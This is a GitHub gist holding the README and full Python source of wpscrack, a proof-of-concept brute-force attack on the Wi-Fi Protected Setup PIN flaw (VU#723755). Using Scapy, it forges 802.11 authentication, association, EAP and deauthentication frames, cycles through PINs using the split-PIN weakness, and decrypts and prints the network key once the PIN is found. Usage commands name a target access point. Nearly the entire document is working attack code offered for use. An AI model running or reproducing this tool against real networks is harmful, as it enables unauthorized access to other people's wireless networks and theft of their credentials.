Skip to content

Instantly share code, notes, and snippets.

@umayr
Forked from duksis/README
Last active August 31, 2015 05:57
Show Gist options
  • Save umayr/37e2fafbb7af6dd7eb49 to your computer and use it in GitHub Desktop.
Save umayr/37e2fafbb7af6dd7eb49 to your computer and use it in GitHub Desktop.
Wi-Fi Protected Setup vulnerability VU#723755 brute force attack implementation in Python
PoC implementation of a brute force attack against WPS - PIN External Registrar
My test environment was Backtrack 5R1 + an Atheros USB adapter.
I used a mac80211/carl9170 driver but any mac80211-based driver should be ok.
DEPENDENCIES:
PyCrypto
Scapy (2.2.0) (does not come with Backtrack)
USAGE:
iwconfig mon0 channel X
./wpscrack.py --iface mon0 --client 94:0c:6d:88:00:00 --bssid f4:ec:38:cf:00:00 --ssid testap -v
further usage:
./wpscrack.py --help
REFERENCES:
http://sviehb.wordpress.com/2011/12/27/wi-fi-protected-setup-pin-brute-force-vulnerability/
http://download.microsoft.com/download/a/f/7/af7777e5-7dcd-4800-8a0a-b18336565f5b/WCN-Netspec.doc
http://hostap.epitest.fi/wpa_supplicant/
#!/usr/bin/env python
'''
This software was written by Stefan Viehboeck <sviehboeck@gmail.com>
based on the Windows Connect Now - NET spec and code in wpa_supplicant.
Consider this beerware. Prost!
'''
import time, threading, hmac, hashlib, sys, optparse, random
from struct import pack, unpack
from Crypto.Cipher import AES
from scapy.all import *
class WPSCrack:
verbose = None
client_mac = None
bssid = None
ssid = None
secret_number = None
timeout_time = None
pin = None
# 1536-bit MODP Group from RFC 3526
prime_str = 'FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD1'\
'29024E088A67CC74020BBEA63B139B22514A08798E3404DD'\
'EF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245'\
'E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7ED'\
'EE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3D'\
'C2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F'\
'83655D23DCA3AD961C62F356208552BB9ED529077096966D'\
'670C354E4ABC9804F1746C08CA237327FFFFFFFFFFFFFFFF'
prime_int = int(prime_str, 16)
rcved_auth_response = False
rcved_asso_response = False
rcved_eap_request_identity = False
rcved_m1 = False
rcved_m3 = False
rcved_m5 = False
m4_sent = False
got_fist_half = False
done = False
request_EAP_id = 0
last_msg_buffer = ''
rcved = threading.Event()
ENonce = ''
RNonce = ''
PK_E = ''
PK_R = ''
EnrolleeMAC = ''
AuthKey = ''
KeyWrapKey = ''
EMSK = ''
PSK1 = ''
PSK2 = ''
E_S1 = ''
E_S2 = ''
EHash1 = ''
EHash2 = ''
R_S1 = ''
R_S2 = ''
RHash1 = ''
RHash1 = ''
has_auth_failed = False
has_timeout = False
has_retry = False
wps_attributes = {
0xFF00 : 'Vendor',
0xFF01 : 'Vendor Type',
0xFF02 : 'Opcode',
0xFF03 : 'Flags',
0x104A : 'Version',
0x104A : 'Authentication Flags',
0x1022 : 'Message Type',
0x1047 : 'UUID E',
0x1020 : 'MAC',
0x101a : 'Enrollee Nonce',
0x1032 : 'Public Key',
0x1010 : 'Encryption Type Flags',
0x100d : 'Connection Type Flags',
0x1008 : 'Config Methods',
0x100d : 'Wifi Protected Setup State',
0x1021 : 'Manufacturer',
0x1023 : 'Model Name',
0x1024 : 'Model Number',
0x1042 : 'Serial Number',
0x1054 : 'Primary Device Type',
0x1011 : 'Device Name',
0x103c : 'RF Bands',
0x1002 : 'Association State',
0x1012 : 'Device pin',
0x1009 : 'Configuration Error',
0x102d : 'OS Version',
0x1044 : 'Wifi Protected Setup State',
0x1004 : 'Authentication Type',
0x1005 : 'Authenticator',
0x1048 : 'UUID R',
0x1039 : 'Registrar Nonce',
0x1014 : 'E Hash 1',
0x1015 : 'E Hash 2',
0x103D : 'R Hash 2',
0x103E : 'R Hash 2',
0x1018 : 'Encrypted Settings',
0x103F : 'R-S1',
0x101e : 'Key Wrap Algorithm',
0x1016 : 'E-S1',
0x1017 : 'E-S2',
0x1003 : 'Auth Type',
0x100F : 'Encryption Type',
0x1003 : 'Auth Type',
0x1027 : 'Network Key',
0x1028 : 'Network Key Index',
0x1045 : 'SSID'
}
wps_message_types = {
0x04 : 'M1',
0x05 : 'M2',
0x07 : 'M3',
0x08 : 'M4',
0x09 : 'M5',
0x0a : 'M6',
0x0b : 'M7',
0x0c : 'M8',
0x0f : 'WSC_DONE',
0x0e : 'WSC_NACK'
}
def run(self):
sniffer_thread = threading.Thread(target=self.sniffer)
sniffer_thread.start()
time.sleep(1)
authorization_request = RadioTap() / Dot11(proto=0L, FCfield=0L, subtype=11L, addr2=self.client_mac, addr3=self.bssid, addr1=self.bssid, SC=0, type=0L) \
/ Dot11Auth(status=0, seqnum=1, algo=0)
association_request = RadioTap() / Dot11(proto=0L, FCfield=0L, subtype=0L, addr2=self.client_mac, addr3=self.bssid, addr1=self.bssid, SC=0, type=0L) \
/ Dot11AssoReq(listen_interval=5, cap=12548L) \
/ Dot11Elt(info=self.ssid, ID=0, len=len(self.ssid)) \
/ Dot11Elt(info='\x02\x04\x0b\x16\x0c\x12\x18$', ID=1, len=8) \
/ Dot11Elt(info='0H`l', ID=50, len=4) \
/ Dot11Elt(info='\x00P\xf2\x02\x00\x01\x00', ID=221, len=7) \
/ Dot11Elt(info='\x00P\xf2\x04\x10J\x00\x01\x10\x10:\x00\x01\x02', ID=221, len=14)
# TODO: add 802.11n capabilities
eapol_start = RadioTap() / Dot11(proto=0L, FCfield=1L, subtype=8L, addr2=self.client_mac, addr3=self.bssid, addr1=self.bssid, SC=0, type=2L, ID=0) \
/ Dot11QoS(TID=0L, TXOP=0, Reserved=0L, EOSP=0L) \
/ LLC(dsap=170, ssap=170, ctrl=3) \
/ SNAP(OUI=0, code=34958) \
/ EAPOL(version=1, type=1, len=0)
response_identity = RadioTap() / Dot11(proto=0L, FCfield=1L, subtype=8L, addr2=self.client_mac, addr3=self.bssid, addr1=self.bssid, SC=0, type=2L, ID=0) \
/ Dot11QoS(TID=0L, Reserved=0L, TXOP=0, EOSP=0L) \
/ LLC(dsap=170, ssap=170, ctrl=3) \
/ SNAP(OUI=0, code=34958) \
/ EAPOL(version=1, type=0, len=35) \
/ EAP(code=2, type=1, id=0, len=35) \
/ Raw(load='WFA-SimpleConfig-Registrar-1-0')
i = 0
while self.done == False:
if self.done == True:
break
self.rcved_auth_response = False
self.rcved_asso_response = False
self.rcved_eap_request_identity = False
self.rcved_m1 = False
self.rcved_m3 = False
self.rcved_m5 = False
self.m4_sent = False
i += 1
if self.verbose: print '------------------- attempt #%i' % i
timeout_timer = threading.Timer(self.timeout_time, self.timeout)
timeout_timer.start()
self.has_auth_failed = False
self.has_timeout = False
self.has_retry = False
start_time = time.time()
print 'Trying', self.pin
self.send_deauth()
if self.verbose: print '-> 802.11 authentication request'
self.rcved.clear()
sendp(authorization_request, verbose=0)
self.rcved.wait()
if self.rcved_auth_response == True:
if self.verbose: print '-> 802.11 association request'
self.rcved.clear()
sendp(association_request, verbose=0)
self.rcved.wait()
if self.rcved_asso_response == True:
if self.verbose: print '-> EAPOL start'
self.rcved.clear()
sendp(eapol_start, verbose=0)
self.rcved.wait()
if self.rcved_eap_request_identity == True:
if self.verbose: print '-> EAP response identity'
response_identity[EAP].id = self.request_EAP_id
self.rcved.clear()
sendp(response_identity, verbose=0)
self.rcved.wait()
if self.rcved_m1 == True:
if self.verbose: print '-> M2'
self.rcved.clear()
self.send_M2()
self.rcved.wait()
if self.rcved_m3 == True:
if self.verbose: print '-> M4'
self.rcved.clear()
self.send_M4()
self.m4_sent = True
self.rcved.wait()
if self.rcved_m5 == True:
if self.verbose: print '-> M6'
self.rcved.clear()
self.send_M6()
self.rcved.wait()
self.send_deauth()
time.sleep(0.05)
self.rcved.clear()
timeout_timer.cancel()
if self.verbose: print 'attempt took %.3f seconds' % (time.time() - start_time)
self.gen_pin()
def bignum_pack(self, n, l):
return ''.join([(chr((n >> ((l - i - 1) * 8)) % 256)) for i in xrange(l)])
def bignum_unpack(self, byte):
return sum([ord(b) << (8 * i) for i, b in enumerate(byte[::-1])])
def kdf(self, key, personalization_string, el):
x = ''
for i in range (1, (sum(el) + 32 - 1) / 32): # slow
s = pack('!I', i) + personalization_string + pack('!I', sum(el))
x += hmac.new(key, s, hashlib.sha256).digest()
r = []
c = 0
for e in el:
r.append(x[c:c + (e / 8)])
c += e / 8
return r
def gen_keys(self):
pubkey_enrollee = self.bignum_unpack(self.PK_E)
pubkey_registrar = pow(2, self.secret_number, self.prime_int)
shared_key = self.bignum_pack(pow(pubkey_enrollee, self.secret_number, self.prime_int), 192)
self.PK_R = self.bignum_pack(pubkey_registrar, 192)
self.RNonce = os.urandom(16)
DHKey = hashlib.sha256(shared_key).digest()
KDK = hmac.new(DHKey, self.ENonce + self.EnrolleeMAC + self.RNonce, hashlib.sha256).digest()
self.AuthKey, self.KeyWrapKey, self.EMSK = self.kdf(KDK, 'Wi-Fi Easy and Secure Key Derivation', [256, 128, 256])
self.R_S1 = '\00' * 16 #random enough
self.R_S2 = '\00' * 16
self.PSK1 = hmac.new(self.AuthKey, self.pin[0:4], hashlib.sha256).digest()[:16]
self.PSK2 = hmac.new(self.AuthKey, self.pin[4:8], hashlib.sha256).digest()[:16]
self.RHash1 = hmac.new(self.AuthKey, self.R_S1 + self.PSK1 + self.PK_E + self.PK_R, hashlib.sha256).digest()
self.RHash2 = hmac.new(self.AuthKey, self.R_S2 + self.PSK2 + self.PK_E + self.PK_R, hashlib.sha256).digest()
def PKCS5_2_0_pad(self, s):
pad_len = 16 - len(s) % 16;
x = pack('b', pad_len)
s += (x * pad_len)[:pad_len]
return s
def encrypt(self, lst):
to_enc_s = self.assemble_EAP_Expanded(lst)
kwa = hmac.new(self.AuthKey, to_enc_s, hashlib.sha256).digest()[0:8]
iv = '\00' * 16
to_enc_s += self.assemble_EAP_Expanded([[0x101e, kwa]])
plaintext = self.PKCS5_2_0_pad(to_enc_s)
ciphertext = AES.new(self.KeyWrapKey, AES.MODE_CBC, iv).encrypt(plaintext)
return iv, ciphertext
def decrypt(self, iv, ciphertext):
p = AES.new(self.KeyWrapKey, AES.MODE_CBC, iv).decrypt(ciphertext)
plaintext = p[:len(p) - ord(p[-1])] # remove padding
return self.disassemble_EAP_Expanded(plaintext)
def gen_authenticator(self, msg):
return hmac.new(self.AuthKey, self.last_msg_buffer[9:] + msg, hashlib.sha256).digest()[:8]
def send_M2(self):
if self.ENonce == '':
print 'enonce is empty!!!'
m2 = [
[0xFF00, '\x00\x37\x2A'],
[0xFF01, '\x00\x00\x00\x01'],
[0xFF02, '\x04'],
[0xFF03, '\x00'],
[0x104A, '\x10'],
# message type:
[0x1022, '\x05'],
# enrollee nonce:
[0x101A, self.ENonce],
# registrar nonce:
[0x1039, self.RNonce],
# uuid registrar:
[0x1048, '\x12\x34\x56\x78\x9A\xBC\xDE\xF0\x12\x34\x56\x78\x9A\xBC\xDE\xF0'],
# public key:
[0x1032, self.PK_R],
[0x1004, '\x00\x3F'],
[0x1010, '\x00\x0F'],
[0x100D, '\x01'],
[0x1008, '\x01\x08'],
[0x1021, '\x00'],
[0x1023, '\x00'],
[0x1024, '\x00'],
[0x1042, '\x00'],
[0x1054, '\x00\x00\x00\x00\x00\x00\x00\x00'],
[0x1011, '\x00'],
[0x103C, '\x03'],
[0x1002, '\x00\x00'],
[0x1009, '\x00\x00'],
[0x1012, '\x00\x00'],
[0x102D, '\x80\x00\x00\x00']
]
eap_expanded = self.assemble_EAP_Expanded(m2)
m = RadioTap() / Dot11(proto=0L, FCfield=1L, addr2=self.client_mac, addr3=self.bssid, addr1=self.bssid, subtype=8L, SC=80, type=2L, ID=55808) \
/ Dot11QoS(TID=0L, Reserved=0L, TXOP=0, EOSP=0L) / LLC(dsap=170, ssap=170, ctrl=3) \
/ SNAP(OUI=0, code=34958) \
/ EAPOL(version=1, type=0, len=383) \
/ EAP(code=2, type=254, id=self.request_EAP_id, len=383) \
/ Raw(load=eap_expanded)
authenticator = self.gen_authenticator(str(m[Raw])[9:])
m = m / Raw(load=(self.assemble_EAP_Expanded([[0x1005, authenticator]])))
sendp(m, verbose=0)
def send_M4(self):
ConfigData = [[0x103f, self.R_S1]]
iv, ciphertext = self.encrypt(ConfigData)
m4 = [
[0xFF00, '\x00\x37\x2A'],
[0xFF01, '\x00\x00\x00\x01'],
[0xFF02, '\x04'],
[0xFF03, '\x00'],
[0x104A, '\x10'],
[0x1022, '\x08'],
# ENonce
[0x101A, self.ENonce],
# RHash1
[0x103D, self.RHash1],
# RHash2
[0x103E, self.RHash2],
# Encrypted RS1
[0x1018, iv + ciphertext]
]
eap_expanded = self.assemble_EAP_Expanded(m4)
m = RadioTap() / Dot11(proto=0L, FCfield=1L, addr2=self.client_mac, addr3=self.bssid, addr1=self.bssid, subtype=8L, SC=80, type=2L, ID=55808) \
/ Dot11QoS(TID=0L, Reserved=0L, TXOP=0, EOSP=0L) \
/ LLC(dsap=170, ssap=170, ctrl=3) \
/ SNAP(OUI=0, code=34958) \
/ EAPOL(version=1, type=0, len=196) \
/ EAP(code=2, type=254, id=self.request_EAP_id, len=196) \
/ Raw(load=eap_expanded)
authenticator = self.gen_authenticator(str(m[Raw])[9:])
m = m / Raw(load=(self.assemble_EAP_Expanded([[0x1005, authenticator]])))
sendp(m, verbose=0)
def send_M6(self):
ConfigData = [[0x1040, self.R_S2]]
iv, ciphertext = self.encrypt(ConfigData)
m6 = [
[0xFF00, '\x00\x37\x2A'],
[0xFF01, '\x00\x00\x00\x01'],
[0xFF02, '\x04'],
[0xFF03, '\x00'],
[0x104A, '\x10'],
[0x1022, '\x0A'],
# ENonce
[0x101A, self.ENonce],
# Encrypted RS_1
[0x1018, iv + ciphertext]
]
eap_expanded = self.assemble_EAP_Expanded(m6)
m = RadioTap() / Dot11(proto=0L, FCfield=1L, addr2=self.client_mac, addr3=self.bssid, addr1=self.bssid, subtype=8L, SC=80, type=2L, ID=55808) \
/ Dot11QoS(TID=0L, Reserved=0L, TXOP=0, EOSP=0L) / LLC(dsap=170, ssap=170, ctrl=3) \
/ SNAP(OUI=0, code=34958) / EAPOL(version=1, type=0, len=124) \
/ EAP(code=2, type=254, id=self.request_EAP_id, len=124) / Raw(load=eap_expanded)
authenticator = self.gen_authenticator(str(m[Raw])[9:])
m = m / Raw(load=(self.assemble_EAP_Expanded([[0x1005, authenticator]])))
sendp(m, verbose=0)
def parse_EAP_Expanded(self, l):
d = {}
message_type = None
#performance ?
for e in l:
d[e[0]] = e[1]
if 0x1022 in d:
if ord(d[0x1022]) in self.wps_message_types:
message_type = self.wps_message_types[ord(d[0x1022])]
if self.verbose: print '<-', message_type
else:
print '< unknown Message Type: 0x%X', ord(d[0x1022])
if message_type == 'M1':
self.ENonce = d[0x101a]
self.PK_E = d[0x1032]
self.EnrolleeMAC = d[0x1020]
self.gen_keys()
self.rcved_m1 = True
elif message_type == 'M3':
self.EHash1 = d[0x1014]
self.EHash2 = d[0x1015]
self.rcved_m3 = True
elif message_type == 'M5':
# we could validate the data but it makes no sense
if self.got_fist_half is False:
print 'found first half:', self.pin[0:4]
self.got_fist_half = True
self.rcved_m5 = True
elif message_type == 'M7':
# juice
print '-------------------------- FOUND PIN: %s --------------------------' % self.pin
encrypted = d[0x1018]
x = self.decrypt(encrypted[:16], encrypted[16:])
self.dump_EAP_Expanded(x)
self.done = True
elif message_type == 'WSC_NACK':
if self.m4_sent == True:
self.has_auth_failed = True
nack = [
[0xFF00, '\x00\x37\x2A'],
[0xFF01, '\x00\x00\x00\x01'],
[0xFF02, '\x03'],
[0xFF03, '\x00'],
[0x104A, '\x10'],
[0x1022, '\x0E'],
#
[0x101A, self.ENonce],
[0x1039, self.RNonce],
[0x1009, '\x00\x00']
]
eap_expanded = self.assemble_EAP_Expanded(nack)
m = RadioTap() / Dot11(proto=0L, FCfield=1L, addr2=self.client_mac, addr3=self.bssid, addr1=self.bssid, subtype=8L, SC=80, type=2L, ID=55808) \
/ Dot11QoS(TID=0L, Reserved=0L, TXOP=0, EOSP=0L) / LLC(dsap=170, ssap=170, ctrl=3) \
/ SNAP(OUI=0, code=34958) \
/ EAPOL(version=1, type=0, len=70) \
/ EAP(code=2, type=254, id=self.request_EAP_id, len=70) \
/ Raw(load=eap_expanded)
if self.verbose: print '-> WCS_NACK'
sendp(m, verbose=0)
else:
print 'got NACK before M4 - something is wrong'
self.has_retry = True
return
def sniffer_filter(self, x):
if (self.done == True):
return True
elif (self.rcved.is_set() is False):
if x.haslayer(Dot11) and x[Dot11].addr1 == self.client_mac and x[Dot11].addr3 == self.bssid:
if x.haslayer(Dot11Auth) and x[Dot11Auth].status == 0:
if self.verbose: print '<- 802.11 authentication response'
self.rcved_auth_response = True
self.rcved.set()
elif x.haslayer(Dot11AssoResp) and x[Dot11AssoResp].status == 0:
if self.verbose: print '<- 802.11 association response'
self.rcved_asso_response = True
self.rcved.set()
elif x.haslayer(EAP) and x[EAP].code == 1:
self.request_EAP_id = x[EAP].id
if x[EAP].type == 254: #Type: Expanded Type
self.last_msg_buffer = str(x[Raw])[:-4]
disasm = self.disassemble_EAP_Expanded(x[Raw], has_FCS=True, has_start=True)
self.parse_EAP_Expanded(disasm)
self.rcved.set()
elif x[EAP].type == 1:
if self.verbose: print '<- EAP request identity'
if self.rcved_eap_request_identity == False:
self.rcved_eap_request_identity = True
self.rcved.set()
else:
print 'got unknown EAP message:'
print x.command()
return False
else:
# discard all messages if we don't want to receive
return False
def sniffer(self):
print 'sniffer started'
sniff(store=0, stop_filter=lambda x: self.sniffer_filter(x))
print 'sniffer stopped'
sys.exit()
def timeout(self):
print 'TIMEOUT!!'
self.rcved.set()
self.has_timeout = True
def should_continue(self):
if self.has_timeout == True or self.has_auth_failed == True or self.has_retry == True:
return False
else:
return True
def gen_pin(self):
if self.has_timeout == False and self.rcved_m3 == True:
if self.got_fist_half == True:
pin_int = int(self.pin[0:7]) + 1
else:
pin_int = int(self.pin[0:7]) + 1000
# append checksum
accum = 0
t = pin_int
while (t):
accum += 3 * (t % 10)
t /= 10
accum += t % 10
t /= 10
self.pin = '%07i%01i' % (pin_int, (10 - accum % 10) % 10)
def send_deauth(self):
if self.verbose: print '-> 802.11 deauthentication'
deauth = RadioTap() / Dot11(proto=0L, FCfield=0L, subtype=12L, addr2=self.client_mac, addr3=self.bssid, addr1=self.bssid, SC=0, type=0L, ID=0) \
/ Dot11Deauth(reason=1)
sendp(deauth, verbose=0)
def disassemble_EAP_Expanded(self, p, has_FCS=False, has_start=False):
ret = []
i = 0
if has_FCS:
e = str(p)[:-4] #remove FCS
else:
e = str(p)
if has_start:
ret.append([0xFF00, e[0:3]])
ret.append([0xFF01, e[3:7]])
ret.append([0xFF02, e[7:8]])
ret.append([0xFF03, e[8:9]])
i = 9
while i < len(e) - 4:
data_length = unpack('!H', e[i + 2:i + 4])[0]
ret.append([unpack('!H', e[i:i + 2])[0], e[(i + 4):(i + 4 + unpack('!H', e[i + 2:i + 4])[0])] ])
i += data_length + 4
return ret
def assemble_EAP_Expanded(self, l):
ret = ''
for i in range(len(l)):
if l[i][0] & 0xFF00 == 0xFF00:
ret += (l[i][1])
else:
ret += pack('!H', l[i][0]) + pack('!H', len(l[i][1])) + l[i][1]
return ret
def dump_EAP_Expanded(self, lst):
for e in lst:
if e[0] in self.wps_attributes:
print self.wps_attributes[e[0]], ':'
hexdump(e[1])
else:
print 'Message ID 0x%X not found!' % e[0]
print e
def main():
wps = WPSCrack()
parser = optparse.OptionParser('usage: %prog --iface=IFACE --client=CLIENT_MAC --bssid=BSSID --ssid=SSID [optional arguments]')
parser.add_option('-i', '--iface', dest='iface', default='', type='string', help='network interface (monitor mode)')
parser.add_option('-c', '--client', dest='client_mac', default='', type='string', help='MAC of client interface')
parser.add_option('-b', '--bssid', dest='bssid', default='', type='string', help='MAC of AP (BSSID)')
parser.add_option('-s', '--ssid', dest='ssid', default='', type='string', help='SSID of AP (ESSID)')
parser.add_option('--dh', dest='dh_secret', default=1, type='int', help='diffie-hellman secret number')
parser.add_option('-t', '--timeout', dest='timeout', default=5, type='int', help='timemout in seconds')
parser.add_option('-p', '--pin', dest='start_pin', default='00000000', type='string', help='start pin for brute force')
parser.add_option('-v', '--verbose', action='store_true', dest='verbose', default=False, help='verbose')
(options, _) = parser.parse_args()
if options.iface != '' and options.client_mac != '' and options.bssid != '' and options.ssid != '':
conf.iface = options.iface
wps.client_mac = options.client_mac
wps.bssid = options.bssid
wps.ssid = options.ssid
wps.secret_number = options.dh_secret
wps.timeout_time = options.timeout
wps.verbose = options.verbose
wps.pin = options.start_pin
wps.run()
else:
print 'check arguments or use --help!'
return
if __name__ == '__main__':
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment